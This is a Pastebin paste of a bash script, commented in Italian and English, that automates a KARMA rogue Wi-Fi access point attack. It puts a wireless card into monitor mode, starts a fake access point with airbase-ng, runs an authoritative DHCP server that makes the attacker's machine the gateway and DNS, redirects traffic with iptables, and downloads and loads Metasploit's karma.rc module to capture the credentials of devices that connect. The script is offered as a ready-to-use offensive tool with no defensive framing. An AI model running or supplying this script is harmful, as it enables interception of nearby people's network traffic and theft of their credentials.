Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- ## KARMAPLAY! ##
- fun_help () {
- echo "[-] questo script prepara l'ambiente KARMA" #this script make working karma ambient
- echo "[-] controlla i file di configurazione" #check config file
- echo "[-] e leggi gli esempi presenti!" # and read the example
- echo "[+] Dipendenze:"
- echo "[+] karma.rc + server DHCP + Aircrack-ng "
- echo "[.] good hack"
- }
- ## PERCORSI E DEFINIZIONI ##
- ## PATH AND DEF ##
- #info: solitamente uso questo percorso, è il mio ambiente di lavoro, modificalo o adattalo al tuo
- #info: i'm used to work with this path, change it or make your own working path
- dh_conf="/etc/dhcp/dhcpdevi.conf" ;
- ka_rc="$HOME/Modelli/EVIL/KARMA/evilmet.rc" ;
- i_man="wlan0" ;
- i_mon="mon0" ;
- essid="TEST" ;
- net="10.0.0.0" ;
- net_mask="255.255.255.0" ;
- ip_ap="10.0.0.1" ;
- ## PREPARO L'AMBIENTE DI LAVORO E SCARICO KARMA ##
- ## MAKE WORKING PATH AND DOWNLOAD KARMA ##
- fun_karma () {
- if [ -e $ka_rc ]
- then
- echo "[ok] karma.rc presente"
- else
- mkdir -p $HOME/Modelli/EVIL/KARMA
- cd $HOME/Modelli/EVIL/KARMA
- wget "http://metasploit.com/users/hdm/tools/karma.rc"
- if [ $? -eq 0 ]
- then
- echo "[ok] karma.rc scaricato con successo"
- else
- echo "[fail] impossibile scaricare il file" && exit
- fi
- fi
- }
- ## PREPARO IL FILE DI CONFIGURAZIONE DEL DHCP ##
- ## MAKE DHCP CONFIG FILE ##
- fun_dhcp () {
- if [ -e $dh_conf ]
- then
- echo
- echo "[ok] dh_conf presente"
- else
- echo
- echo "sto scrivendo il file di configurazione"
- touch $dh_conf
- echo "option domain-name-servers $ip_ap ;" >> $dh_conf
- echo "default-lease-time 60;" >> $dh_conf
- echo "max-lease-time 7200;" >> $dh_conf
- echo "ddns-update-style none;" >> $dh_conf
- echo "authoritative;" >> $dh_conf
- echo "log-facility local7;" >> $dh_conf
- echo "subnet $net netmask $net_mask {" >> $dh_conf
- echo "range 10.0.0.50 10.0.0.254;" >> $dh_conf
- echo "option routers $ip_ap ;" >> $dh_conf
- echo "option domain-name-servers $ip_ap ;" >> $dh_conf
- echo "}" >> $dh_conf
- sudo chmod 777 $dh_conf
- fi
- }
- ## MONITOR MODE ##
- fun_mon () {
- echo
- echo "abilito il monitor mode:"
- airmon-ng start $i_man
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] fatto"
- else
- echo
- echo "[fail] impossibile mettere $i_man in monitorok mode" && exit
- fi
- }
- ## AP FASULLO ##
- ## FAKE AP ##
- fun_fakap () {
- echo
- echo "abilito il fake ap:"
- ( xfce4-terminal -e "airbase-ng -P -C 30 -e $essid -v $i_mon" ) &
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] fatto" #done
- else
- echo
- echo "[fail] impossibile creare il fake ap" && exit #error
- fi
- sleep 10
- }
- ## PREPARO LA RETE ##
- ## SET THE NET ##
- fun_setnet () {
- echo
- echo "preparo la rete:"
- iptables -t nat -A PREROUTING -i at0 -j REDIRECT
- ifconfig at0 up $ip_ap netmask $net_mask
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] fatto" #done
- else
- echo
- echo "[fail] impossibile assegnare gli indirizzi" #error
- fi
- sleep 5
- echo
- echo "configuro il server dhcp:"
- sudo dhcpd -cf $dh_conf at0
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] fatto"
- else
- echo
- echo "[fail] impossibile caricare il file di configurazione" && exit
- fi
- }
- ## CARICO KARMA IN MSFCONSOLE ##
- ## LOAD KARMA IN MSFCONSOLE ##
- fun_msf () {
- echo
- echo "carico karma in msfconsole:"
- ( xfce4-terminal -e "msfconsole -r $ka_rc" ) &
- if [ $? -eq 0 ]
- then
- echo
- echo "[ok] fatto"
- else
- echo
- echo "[fail] impossibile caricare il file di configurazione karma" && exit
- fi
- }
- ## PULISCO TUTTO ##
- ## CLEAN ALL ##
- fun_clean () {
- echo
- echo -n "vuoi ripulire e fermare tutto?"
- echo
- read risp
- case $risp in
- y) echo "avvio pulizia!"
- rm -f /etc/dhcp/$dh_conf
- airmon-ng stop mon0
- service isc-dhcp-server stop
- #if have problem try killall -9 dhcpd
- echo "pulizia terminata"
- ;;
- *) fun_clean
- ;;
- esac
- exit 0
- }
- fun_help
- fun_karma
- fun_dhcp
- fun_mon
- fun_fakap
- fun_setnet
- fun_msf
- fun_clean
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement